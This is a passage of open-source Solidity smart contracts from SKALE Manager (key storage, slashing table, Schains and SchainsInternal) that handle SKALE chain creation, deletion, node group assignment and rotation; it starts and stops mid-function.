initPublicKeyInProgress(bytes32 schainId) external allow("SkaleDKG") { _publicKeysInProgress[schainId] = G2Operations.getG2Zero(); } function adding(bytes32 schainId, G2Operations.G2Point memory value) external allow("SkaleDKG") { require(value.isG2(), "Incorrect g2 point"); _publicKeysInProgress[schainId] = value.addG2(_publicKeysInProgress[schainId]); } function finalizePublicKey(bytes32 schainId) external allow("SkaleDKG") { if (!_isSchainsPublicKeyZero(schainId)) { _previousSchainsPublicKeys[schainId].push(_schainsPublicKeys[schainId]); } _schainsPublicKeys[schainId] = _publicKeysInProgress[schainId]; delete _publicKeysInProgress[schainId]; } function getCommonPublicKey(bytes32 schainId) external view returns (G2Operations.G2Point memory) { return _schainsPublicKeys[schainId]; } function getPreviousPublicKey(bytes32 schainId) external view returns (G2Operations.G2Point memory) { uint length = _previousSchainsPublicKeys[schainId].length; if (length == 0) { return G2Operations.getG2Zero(); } return _previousSchainsPublicKeys[schainId][length - 1]; } function getAllPreviousPublicKeys(bytes32 schainId) external view returns (G2Operations.G2Point[] memory) { return _previousSchainsPublicKeys[schainId]; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } function _isSchainsPublicKeyZero(bytes32 schainId) private view returns (bool) { return _schainsPublicKeys[schainId].x.a == 0 && _schainsPublicKeys[schainId].x.b == 0 && _schainsPublicKeys[schainId].y.a == 0 && _schainsPublicKeys[schainId].y.b == 0; } } // SPDX-License-Identifier: AGPL-3.0-only /* SlashingTable.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; /** * @title Slashing Table * @dev This contract manages slashing conditions and penalties. */ contract SlashingTable is Permissions { mapping (uint => uint) private _penalties; /** * @dev Allows the Owner to set a slashing penalty in SKL tokens for a * given offense. */ function setPenalty(string calldata offense, uint penalty) external onlyOwner { _penalties[uint(keccak256(abi.encodePacked(offense)))] = penalty; } /** * @dev Returns the penalty in SKL tokens for a given offense. */ function getPenalty(string calldata offense) external view returns (uint) { uint penalty = _penalties[uint(keccak256(abi.encodePacked(offense)))]; return penalty; } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* Schains.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./ConstantsHolder.sol"; import "./KeyStorage.sol"; import "./SkaleVerifier.sol"; import "./utils/FieldOperations.sol"; import "./NodeRotation.sol"; import "./interfaces/ISkaleDKG.sol"; import "./Wallets.sol"; /** * @title Schains * @dev Contains functions to manage Schains such as Schain creation, * deletion, and rotation. */ contract Schains is Permissions { struct SchainParameters { uint lifetime; uint8 typeOfSchain; uint16 nonce; string name; } bytes32 public constant SCHAIN_CREATOR_ROLE = keccak256("SCHAIN_CREATOR_ROLE"); /** * @dev Emitted when an schain is created. */ event SchainCreated( string name, address owner, uint partOfNode, uint lifetime, uint numberOfNodes, uint deposit, uint16 nonce, bytes32 schainId, uint time, uint gasSpend ); /** * @dev Emitted when an schain is deleted. */ event SchainDeleted( address owner, string name, bytes32 indexed schainId ); /** * @dev Emitted when a node in an schain is rotated. */ event NodeRotated( bytes32 schainId, uint oldNode, uint newNode ); /** * @dev Emitted when a node is added to an schain. */ event NodeAdded( bytes32 schainId, uint newNode ); /** * @dev Emitted when a group of nodes is created for an schain. */ event SchainNodes( string name, bytes32 schainId, uint[] nodesInGroup, uint time, uint gasSpend ); /** * @dev Allows SkaleManager contract to create an Schain. * * Emits an {SchainCreated} event. * * Requirements: * * - Schain type is valid. * - There is sufficient deposit to create type of schain. */ function addSchain(address from, uint deposit, bytes calldata data) external allow("SkaleManager") { SchainParameters memory schainParameters = _fallbackSchainParametersDataConverter(data); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder()); uint schainCreationTimeStamp = constantsHolder.schainCreationTimeStamp(); uint minSchainLifetime = constantsHolder.minimalSchainLifetime(); require(now >= schainCreationTimeStamp, "It is not a time for creating Schain"); require( schainParameters.lifetime >= minSchainLifetime, "Minimal schain lifetime should be satisfied" ); require( getSchainPrice(schainParameters.typeOfSchain, schainParameters.lifetime) <= deposit, "Not enough money to create Schain"); _addSchain(from, deposit, schainParameters); } /** * @dev Allows the foundation to create an Schain without tokens. * * Emits an {SchainCreated} event. * * Requirements: * * - sender is granted with SCHAIN_CREATOR_ROLE * - Schain type is valid. */ function addSchainByFoundation( uint lifetime, uint8 typeOfSchain, uint16 nonce, string calldata name, address schainOwner ) external payable { require(hasRole(SCHAIN_CREATOR_ROLE, msg.sender), "Sender is not authorized to create schain"); SchainParameters memory schainParameters = SchainParameters({ lifetime: lifetime, typeOfSchain: typeOfSchain, nonce: nonce, name: name }); address _schainOwner; if (schainOwner != address(0)) { _schainOwner = schainOwner; } else { _schainOwner = msg.sender; } _addSchain(_schainOwner, 0, schainParameters); bytes32 schainId = keccak256(abi.encodePacked(name)); Wallets(payable(contractManager.getContract("Wallets"))).rechargeSchainWallet{value: msg.value}(schainId); } /** * @dev Allows SkaleManager to remove an schain from the network. * Upon removal, the space availability of each node is updated. * * Emits an {SchainDeleted} event. * * Requirements: * * - Executed by schain owner. */ function deleteSchain(address from, string calldata name) external allow("SkaleManager") { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32 schainId = keccak256(abi.encodePacked(name)); require( schainsInternal.isOwnerAddress(from, schainId), "Message sender is not the owner of the Schain" ); _deleteSchain(name, schainsInternal); } /** * @dev Allows SkaleManager to delete any Schain. * Upon removal, the space availability of each node is updated. * * Emits an {SchainDeleted} event. * * Requirements: * * - Schain exists. */ function deleteSchainByRoot(string calldata name) external allow("SkaleManager") { _deleteSchain(name, SchainsInternal(contractManager.getContract("SchainsInternal"))); } /** * @dev Allows SkaleManager contract to restart schain creation by forming a * new schain group. Executed when DKG procedure fails and becomes stuck. * * Emits a {NodeAdded} event. * * Requirements: * * - Previous DKG procedure must have failed. * - DKG failure got stuck because there were no free nodes to rotate in. * - A free node must be released in the network. */ function restartSchainCreation(string calldata name) external allow("SkaleManager") { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); bytes32 schainId = keccak256(abi.encodePacked(name)); ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG")); require(!skaleDKG.isLastDKGSuccessful(schainId), "DKG success"); SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal")); require(schainsInternal.isAnyFreeNode(schainId), "No free Nodes for new group formation"); uint newNodeIndex = nodeRotation.selectNodeToGroup(schainId); skaleDKG.openChannel(schainId); emit NodeAdded(schainId, newNodeIndex); } /** * @dev addSpace - return occupied space to Node * nodeIndex - index of Node at common array of Nodes * partOfNode - divisor of given type of Schain */ function addSpace(uint nodeIndex, uint8 partOfNode) external allowTwo("Schains", "NodeRotation") { Nodes nodes = Nodes(contractManager.getContract("Nodes")); nodes.addSpaceToNode(nodeIndex, partOfNode); } /** * @dev Checks whether schain group signature is valid. */ function verifySchainSignature( uint signatureA, uint signatureB, bytes32 hash, uint counter, uint hashA, uint hashB, string calldata schainName ) external view returns (bool) { SkaleVerifier skaleVerifier = SkaleVerifier(contractManager.getContract("SkaleVerifier")); G2Operations.G2Point memory publicKey = KeyStorage( contractManager.getContract("KeyStorage") ).getCommonPublicKey( keccak256(abi.encodePacked(schainName)) ); return skaleVerifier.verify( Fp2Operations.Fp2Point({ a: signatureA, b: signatureB }), hash, counter, hashA, hashB, publicKey ); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } /** * @dev Returns the current price in SKL tokens for given Schain type and lifetime. */ function getSchainPrice(uint typeOfSchain, uint lifetime) public view returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder()); SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); uint nodeDeposit = constantsHolder.NODE_DEPOSIT(); uint numberOfNodes; uint8 divisor; (divisor, numberOfNodes) = schainsInternal.getSchainType(typeOfSchain); if (divisor == 0) { return 1e18; } else { uint up = nodeDeposit.mul(numberOfNodes.mul(lifetime.mul(2))); uint down = uint( uint(constantsHolder.SMALL_DIVISOR()) .mul(uint(constantsHolder.SECONDS_TO_YEAR())) .div(divisor) ); return up.div(down); } } /** * @dev Initializes an schain in the SchainsInternal contract. * * Requirements: * * - Schain name is not already in use. */ function _initializeSchainInSchainsInternal( string memory name, address from, uint deposit, uint lifetime, SchainsInternal schainsInternal ) private { require(schainsInternal.isSchainNameAvailable(name), "Schain name is not available"); // initialize Schain schainsInternal.initializeSchain(name, from, lifetime, deposit); schainsInternal.setSchainIndex(keccak256(abi.encodePacked(name)), from); } /** * @dev Converts data from bytes to normal schain parameters of lifetime, * type, nonce, and name. */ function _fallbackSchainParametersDataConverter(bytes memory data) private pure returns (SchainParameters memory schainParameters) { (schainParameters.lifetime, schainParameters.typeOfSchain, schainParameters.nonce, schainParameters.name) = abi.decode(data, (uint, uint8, uint16, string)); } /** * @dev Allows creation of node group for Schain. * * Emits an {SchainNodes} event. */ function _createGroupForSchain( string memory schainName, bytes32 schainId, uint numberOfNodes, uint8 partOfNode, SchainsInternal schainsInternal ) private { uint[] memory nodesInGroup = schainsInternal.createGroupForSchain(schainId, numberOfNodes, partOfNode); ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainId); emit SchainNodes( schainName, schainId, nodesInGroup, block.timestamp, gasleft()); } /** * @dev Creates an schain. * * Emits an {SchainCreated} event. * * Requirements: * * - Schain type must be valid. */ function _addSchain(address from, uint deposit, SchainParameters memory schainParameters) private { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); //initialize Schain _initializeSchainInSchainsInternal( schainParameters.name, from, deposit, schainParameters.lifetime, schainsInternal ); // create a group for Schain uint numberOfNodes; uint8 partOfNode; (partOfNode, numberOfNodes) = schainsInternal.getSchainType(schainParameters.typeOfSchain); _createGroupForSchain( schainParameters.name, keccak256(abi.encodePacked(schainParameters.name)), numberOfNodes, partOfNode, schainsInternal ); emit SchainCreated( schainParameters.name, from, partOfNode, schainParameters.lifetime, numberOfNodes, deposit, schainParameters.nonce, keccak256(abi.encodePacked(schainParameters.name)), block.timestamp, gasleft()); } function _deleteSchain(string calldata name, SchainsInternal schainsInternal) private { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); bytes32 schainId = keccak256(abi.encodePacked(name)); require(schainsInternal.isSchainExist(schainId), "Schain does not exist"); uint[] memory nodesInGroup = schainsInternal.getNodesInGroup(schainId); uint8 partOfNode = schainsInternal.getSchainsPartOfNode(schainId); for (uint i = 0; i < nodesInGroup.length; i++) { uint schainIndex = schainsInternal.findSchainAtSchainsForNode( nodesInGroup[i], schainId ); if (schainsInternal.checkHoleForSchain(schainId, i)) { continue; } require( schainIndex < schainsInternal.getLengthOfSchainsForNode(nodesInGroup[i]), "Some Node does not contain given Schain"); schainsInternal.removeNodeFromSchain(nodesInGroup[i], schainId); schainsInternal.removeNodeFromExceptions(schainId, nodesInGroup[i]); this.addSpace(nodesInGroup[i], partOfNode); } schainsInternal.deleteGroup(schainId); address from = schainsInternal.getSchainOwner(schainId); schainsInternal.removeSchain(schainId, from); schainsInternal.removeHolesForSchain(schainId); nodeRotation.removeRotation(schainId); Wallets(payable(contractManager.getContract("Wallets"))).withdrawFundsFromSchainWallet(payable(from), schainId); emit SchainDeleted(from, name, schainId); } } // SPDX-License-Identifier: AGPL-3.0-only /* SchainsInternal.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./interfaces/ISkaleDKG.sol"; import "./utils/Random.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/EnumerableSet.sol"; /** * @title SchainsInternal * @dev Contract contains all functionality logic to internally manage Schains. */ contract SchainsInternal is Permissions { using Random for Random.RandomGenerator; using EnumerableSet for EnumerableSet.UintSet; struct Schain { string name; address owner; uint indexInOwnerList; uint8 partOfNode; uint lifetime; uint startDate; uint startBlock; uint deposit; uint64 index; } struct SchainType { uint8 partOfNode; uint numberOfNodes; } // mapping which contain all schains mapping (bytes32 => Schain) public schains; mapping (bytes32 => bool) public isSchainActive; mapping (bytes32 => uint[]) public schainsGroups; mapping (bytes32 => mapping (uint => bool)) private _exceptionsForGroups; // mapping shows schains by owner's address mapping (address => bytes32[]) public schainIndexes; // mapping shows schains which Node composed in mapping (uint => bytes32[]) public schainsForNodes; mapping (uint => uint[]) public holesForNodes; mapping (bytes32 => uint[]) public holesForSchains; // array which contain all schains bytes32[] public schainsAtSystem; uint64 public numberOfSchains; // total resources that schains occupied uint public sumOfSchainsResources; mapping (bytes32 => bool) public usedSchainNames; mapping (uint => SchainType) public schainTypes; uint public numberOfSchainTypes; // schain hash => node index => index of place // index of place is a number from 1 to max number of slots on node(128) mapping (bytes32 => mapping (uint => uint)) public placeOfSchainOnNode; mapping (uint => bytes32[]) private _nodeToLockedSchains; mapping (bytes32 => uint[]) private _schainToExceptionNodes; EnumerableSet.UintSet private _keysOfSchainTypes; /** * @dev Allows Schain contract to initialize an schain. */ function initializeSchain( string calldata name, address from, uint lifetime, uint deposit) external allow("Schains") { bytes32 schainId = keccak256(abi.encodePacked(name)); schains[schainId].name = name; schains[schainId].owner = from; schains[schainId].startDate = block.timestamp; schains[schainId].startBlock = block.number; schains[schainId].lifetime = lifetime; schains[schainId].deposit = deposit; schains[schainId].index = numberOfSchains; isSchainActive[schainId] = true; numberOfSchains++; schainsAtSystem.push(schainId); usedSchainNames[schainId] = true; } /** * @dev Allows Schain contract to create a node group for an schain. */ function createGroupForSchain( bytes32 schainId, uint numberOfNodes, uint8 partOfNode ) external allow("Schains") returns (uint[] memory) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); schains[schainId].partOfNode = partOfNode; if (partOfNode > 0) { sumOfSchainsResources = sumOfSchainsResources.add( numberOfNodes.mul(constantsHolder.TOTAL_SPACE_ON_NODE()).div(partOfNode) ); } return _generateGroup(schainId, numberOfNodes); } /** * @dev Allows Schains contract to set index in owner list. */ function setSchainIndex(bytes32 schainId, address from) external allow("Schains") { schains[schainId].indexInOwnerList = schainIndexes[from].length; schainIndexes[from].push(schainId); } /** * @dev Allows Schains contract to change the Schain lifetime through * an additional SKL token deposit. */ function changeLifetime(bytes32 schainId, uint lifetime, uint deposit) external allow("Schains") { schains[schainId].deposit = schains[schainId].deposit.add(deposit); schains[schainId].lifetime = schains[schainId].lifetime.add(lifetime); } /** * @dev Allows Schains contract to remove an schain from the network. * Generally schains are not removed from the system; instead they are * simply allowed to expire. */ function removeSchain(bytes32 schainId, address from) external allow("Schains") { isSchainActive[schainId] = false; uint length = schainIndexes[from].length; uint index = schains[schainId].indexInOwnerList; if (index != length.sub(1)) { bytes32 lastSchainId = schainIndexes[from][length.sub(1)]; schains[lastSchainId].indexInOwnerList = index; schainIndexes[from][index] = lastSchainId; } schainIndexes[from].pop(); // TODO: // optimize for (uint i = 0; i + 1 < schainsAtSystem.length; i++) { if (schainsAtSystem[i] == schainId) { schainsAtSystem[i] = schainsAtSystem[schainsAtSystem.length.sub(1)]; break; } } schainsAtSystem.pop(); delete schains[schainId]; numberOfSchains--; } /** * @dev Allows Schains and SkaleDKG contracts to remove a node from an * schain for node rotation or DKG failure. */ function removeNodeFromSchain( uint nodeIndex, bytes32 schainHash ) external allowThree("NodeRotation", "SkaleDKG", "Schains") { uint indexOfNode = _findNode(schainHash, nodeIndex); uint indexOfLastNode = schainsGroups[schainHash].length.sub(1); if (indexOfNode == indexOfLastNode) { schainsGroups[schainHash].pop(); } else { delete schainsGroups[schainHash][indexOfNode]; if (holesForSchains[schainHash].length > 0 && holesForSchains[schainHash][0] > indexOfNode) { uint hole = holesForSchains[schainHash][0]; holesForSchains[schainHash][0] = indexOfNode; holesForSchains[schainHash].push(hole); } else { holesForSchains[schainHash].push(indexOfNode); } } uint schainIndexOnNode = findSchainAtSchainsForNode(nodeIndex, schainHash); removeSchainForNode(nodeIndex, schainIndexOnNode); delete placeOfSchainOnNode[schainHash][nodeIndex]; } /** * @dev Allows Schains contract to delete a group of schains */ function deleteGroup(bytes32 schainId) external allow("Schains") { // delete channel ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG")); delete schainsGroups[schainId]; skaleDKG.deleteChannel(schainId); } /** * @dev Allows Schain and NodeRotation contracts to set a Node like * exception for a given schain and nodeIndex. */ function setException(bytes32 schainId, uint nodeIndex) external allowTwo("Schains", "NodeRotation") { _setException(schainId, nodeIndex); } /** * @dev Allows Schains and NodeRotation contracts to add node to an schain * group. */ function setNodeInGroup(bytes32 schainId, uint nodeIndex) external allowTwo("Schains", "NodeRotation") { if (holesForSchains[schainId].length == 0) { schainsGroups[schainId].push(nodeIndex); } else { schainsGroups[schainId][holesForSchains[schainId][0]] = nodeIndex; uint min = uint(-1); uint index = 0; for (uint i = 1; i < holesForSchains[schainId].length; i++) { if (min > holesForSchains[schainId][i]) { min = holesForSchains[schainId][i]; index = i; } } if (min == uint(-1)) { delete holesForSchains[schainId]; } else { holesForSchains[schainId][0] = min; holesForSchains[schainId][index] = holesForSchains[schainId][holesForSchains[schainId].length - 1]; holesForSchains[schainId].pop(); } } } /** * @dev Allows Schains contract to remove holes for schains */ function removeHolesForSchain(bytes32 schainHash) external allow("Schains") { delete holesForSchains[schainHash]; } /** * @dev Allows Admin to add schain type */ function addSchainType(uint8 partOfNode, uint numberOfNodes) external onlyAdmin { require(_keysOfSchainTypes.add(numberOfSchainTypes + 1), "Schain type is already added"); schainTypes[numberOfSchainTypes + 1].partOfNode = partOfNode; schainTypes[numberOfSchainTypes + 1].numberOfNodes = numberOfNodes; numberOfSchainTypes++; } /** * @dev Allows Admin to remove schain type */ function removeSchainType(uint typeOfSchain) external onlyAdmin { require(_keysOfSchainTypes.remove(typeOfSchain), "Schain type is already removed"); delete schainTypes[typeOfSchain].partOfNode; delete schainTypes[typeOfSchain].numberOfNodes; } /** * @dev Allows Admin to set number of schain types */ function setNumberOfSchainTypes(uint newNumberOfSchainTypes) external onlyAdmin { numberOfSchainTypes = newNumberOfSchainTypes; } /** * @dev Allows Admin to move schain to placeOfSchainOnNode map */ function moveToPlaceOfSchainOnNode(bytes32 schainHash) external onlyAdmin { for (uint i = 0; i < schainsGroups[schainHash].length; i++) { uint nodeIndex = schainsGroups[schainHash][i]; for (uint j = 0; j < schainsForNodes[nodeIndex].length; j++) { if (schainsForNodes[nodeIndex][j] == schainHash) { placeOfSchainOnNode[schainHash][nodeIndex] = j + 1; } } } } function removeNodeFromAllExceptionSchains(uint nodeIndex) external allow("SkaleManager") { uint len = _nodeToLockedSchains[nodeIndex].length; if (len > 0) { for (uint i = len; i > 0; i--) { removeNodeFromExceptions(_nodeToLockedSchains[nodeIndex][i - 1], nodeIndex); } } } function makeSchainNodesInvisible(bytes32 schainId) external allowTwo("NodeRotation", "SkaleDKG") { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < _schainToExceptionNodes[schainId].length; i++) { nodes.makeNodeInvisible(_schainToExceptionNodes[schainId][i]); } } function makeSchainNodesVisible(bytes32 schainId) external allowTwo("NodeRotation", "SkaleDKG") { _makeSchainNodesVisible(schainId); } /** * @dev Returns all Schains in the network. */ function getSchains() external view returns (bytes32[] memory) { return schainsAtSystem; } /** * @dev Returns all occupied resources on one node for an Schain. */ function getSchainsPartOfNode(bytes32 schainId) external view returns (uint8) { return schains[schainId].partOfNode; } /** * @dev Returns number of schains by schain owner. */ function getSchainListSize(address from) external view returns (uint) { return schainIndexes[from].length; } /** * @dev Returns hashes of schain names by schain owner. */ function getSchainIdsByAddress(address from) external view returns (bytes32[] memory) { return schainIndexes[from]; } /** * @dev Returns hashes of schain names running on a node. */ function getSchainIdsForNode(uint nodeIndex) external view returns (bytes32[] memory) { return schainsForNodes[nodeIndex]; } /** * @dev Returns the owner of an schain. */ function getSchainOwner(bytes32 schainId) external view returns (address) { return schains[schainId].owner; } /** * @dev Checks whether schain name is available. * TODO Need to delete - copy of web3.utils.soliditySha3 */ function isSchainNameAvailable(string calldata name) external view returns (bool) { bytes32 schainId = keccak256(abi.encodePacked(name)); return schains[schainId].owner == address(0) && !usedSchainNames[schainId] && keccak256(abi.encodePacked(name)) != keccak256(abi.encodePacked("Mainnet")); } /** * @dev Checks whether schain lifetime has expired. */ function isTimeExpired(bytes32 schainId) external view returns (bool) { return uint(schains[schainId].startDate).add(schains[schainId].lifetime) < block.timestamp; } /** * @dev Checks whether address is owner of schain. */ function isOwnerAddress(address from, bytes32 schainId) external view returns (bool) { return schains[schainId].owner == from; } /** * @dev Checks whether schain exists. */ function isSchainExist(bytes32 schainId) external view returns (bool) { return keccak256(abi.encodePacked(schains[schainId].name)) != keccak256(abi.encodePacked("")); } /** * @dev Returns schain name. */ function getSchainName(bytes32 schainId) external view returns (string memory) { return schains[schainId].name; } /** * @dev Returns last active schain of a node. */ function getActiveSchain(uint nodeIndex) external view returns (bytes32) { for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { return schainsForNodes[nodeIndex][i - 1]; } } return bytes32(0); } /** * @dev Returns active schains of a node. */ function getActiveSchains(uint nodeIndex) external view returns (bytes32[] memory activeSchains) { uint activeAmount = 0; for (uint i = 0; i < schainsForNodes[nodeIndex].length; i++) { if (schainsForNodes[nodeIndex][i] != bytes32(0)) { activeAmount++; } } uint cursor = 0; activeSchains = new bytes32[](activeAmount); for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { activeSchains[cursor++] = schainsForNodes[nodeIndex][i - 1]; } } } /** * @dev Returns number of nodes in an schain group. */ function getNumberOfNodesInGroup(bytes32 schainId) external view returns (uint) { return schainsGroups[schainId].length; } /** * @dev Returns nodes in an schain group. */ function getNodesInGroup(bytes32 schainId) external view returns (uint[] memory) { return schainsGroups[schainId]; } /** * @dev Checks whether sender is a node address from a given schain group. */ function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < schainsGroups[schainId].length; i++) { if (nodes.getNodeAddress(schainsGroups[schainId][i]) == sender) { return true; } } return false; } /** * @dev Returns node index in schain group. */ function getNodeIndexInGroup(bytes32 schainId, uint nodeId) external view returns (uint) { for (uint index = 0; index < schainsGroups[schainId].length; index++) { if (schainsGroups[schainId][index] == nodeId) { return index; } } return schainsGroups[schainId].length; } /** * @dev Checks whether there are any nodes with free resources for given * schain. */ function isAnyFreeNode(bytes32 schainId) external view returns (bool) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint8 space = schains[schainId].partOfNode; return nodes.countNodesWithFreeSpace(space) > 0; } /** * @dev Returns whether any exceptions exist for node in a schain group. */ function checkException(bytes32 schainId, uint nodeIndex) external view returns (bool) { return _exceptionsForGroups[schainId][nodeIndex]; } function checkHoleForSchain(bytes32 schainHash, uint indexOfNode) external view returns (bool) { for (uint i = 0; i < holesForSchains[schainHash].length; i++) { if (holesForSchains[schainHash][i] == indexOfNode) { return true; } } return false; } /** * @dev Returns number of Schains on a node. */ function getLengthOfSchainsForNode(uint nodeIndex) external view returns (uint) { return schainsForNodes[nodeIndex].length; } function getSchainType(uint typeOfSchain) external view returns(uint8, uint) { require(_keysOfSchainTypes.contains(typeOfSchain), "Invalid type of schain"); return (schainTypes[typeOfSchain].partOfNode, schainTypes[typeOfSchain].numberOfNodes); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); numberOfSchains = 0; sumOfSchainsResources = 0; numberOfSchainTypes = 0; } /** * @dev Allows Schains and NodeRotation contracts to add schain to node. */ function addSchainForNode(uint nodeIndex, bytes32 schainId) public allowTwo("Schains", "NodeRotation") { if (holesForNodes[nodeIndex].length == 0) { schainsForNodes[nodeIndex].push(schainId); placeOfSchainOnNode[schainId][nodeIndex] = schainsForNodes[nodeIndex].length; } else { uint lastHoleOfNode = holesForNodes[nodeIndex][holesForNodes[nodeIndex].length - 1]; schainsForNodes[nodeIndex][lastHoleOfNode] = schainId; placeOfSchainOnNode[schainId][nodeIndex] = lastHoleOfNode + 1; holesForNodes[nodeIndex].pop(); } } /** * @dev Allows Schains, NodeRotation, and SkaleDKG contracts to remove an * schain from a node. */ function removeSchainForNode(uint nodeIndex, uint schainIndex) public allowThree("NodeRotation", "SkaleDKG", "Schains") { uint length = schainsForNodes[nodeIndex].length; if (schainIndex == length.sub(1)) { schainsForNodes[nodeIndex].pop(); } else { delete schainsForNodes[nodeIndex][schainIndex]; if (holesForNodes[nodeIndex].length > 0 && holesForNodes[nodeIndex][0] > schainIndex) { uint hole = holesForNodes[nodeIndex][0]; holesForNodes[nodeIndex][0] = schainIndex; holesForNodes[nodeIndex].push(hole); } else { holesForNodes[nodeIndex].push(schainIndex); } } } /** * @dev Allows Schains contract to remove node from exceptions */ function removeNodeFromExceptions(bytes32 schainHash, uint nodeIndex) public allowThree("Schains", "NodeRotation", "SkaleManager") { _exceptionsForGroups[schainHash][nodeIndex] = false; uint len = _nodeToLockedSchains[nodeIndex].length; bool removed = false; if (len > 0 && _nodeToLockedSchains[nodeIndex][len - 1] == schainHash) { _nodeToLockedSchains[nodeIndex].pop(); removed = true; } else { for (uint i = len; i > 0 && !removed; i--) { if (_nodeToLockedSchains[nodeIndex][i - 1] == schainHash) { _nodeToLockedSchains[nodeIndex][i - 1] = _nodeToLockedSchains[nodeIndex][len - 1]; _nodeToLockedSchains[nodeIndex].pop(); removed = true; } } } len = _schainToExceptionNodes[schainHash].length; removed = false; if (len > 0 && _schainToExceptionNodes[schainHash][len - 1] == nodeIndex) { _schainToExceptionNodes[schainHash].pop(); removed = true; } else { for (uint i = len; i > 0 && !removed; i--) { if (_schainToExceptionNodes[schainHash][i - 1] == nodeIndex) { _schainToExceptionNodes[schainHash][i - 1] = _schainToExceptionNodes[schainHash][len - 1]; _schainToExceptionNodes[schainHash].pop(); removed = true; } } } } /** * @dev Returns index of Schain in list of schains for a given node. */ function findSchainAtSchainsForNode(uint nodeIndex, bytes32 schainId) public view returns (uint) { if (placeOfSchainOnNode[schainId][nodeIndex] == 0) return schainsForNodes[nodeIndex].length; return placeOfSchainOnNode[schainId][nodeIndex] - 1; } function _getNodeToLockedSchains() internal view returns (mapping(uint => bytes32[]) storage) { return _nodeToLockedSchains; } function _getSchainToExceptionNodes() internal view returns (mapping(bytes32 => uint[]) storage) { return _schainToExceptionNodes; } /** * @dev Generates schain group using a pseudo-random generator. */ function _generateGroup(bytes32 schainId, uint numberOfNodes) private returns (uint[] memory nodesInGroup) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint8 space = schains[schainId].partOfNode; nodesInGroup = new uint[](numberOfNodes); require(nodes.countNodesWithFreeSpace(space) >= nodesInGroup.length, "Not enough nodes to create Schain"); Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number.sub(1))), schainId) ); for (uint i = 0; i < numberOfNodes; i++) { uint node = nodes.getRandomNodeWithFreeSpace(space, randomGenerator); nodesInGroup[i] = node; _setException(schainId, node); addSchainForNode(node, schainId); nodes.makeNodeInvisible(node); require(nodes.removeSpaceFromNode(node, space), "Could not remove space from Node"); } // set generated group schainsGroups[schainId] = nodesInGroup; _makeSchainNodesVisible(schainId); } function _setException(bytes32 schainId, uint nodeIndex) private { _exceptionsForGroups[schainId][nodeIndex] = true; _nodeToLockedSchains[nodeIndex].push(schainId); _schainToExceptionNodes[schainId].push(nodeIndex); } function _makeSchainNodesVisible(bytes32 schainId) private { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < _schainToExceptionNodes[schainId].length; i++) { nodes.makeNodeVisible(_schainToExceptionNodes[schainId][i]); } } /** * @dev Returns local index of node in schain group. */ function _findNode(bytes32 schainId, uint nodeIndex) private view returns (uint) { uint[] memory nodesInGroup = schainsGroups[schainId]; uint index; for (index = 0; index < nodesInGroup.length; index++) { if (nodesInGroup[index] == nodeIndex) { return index; 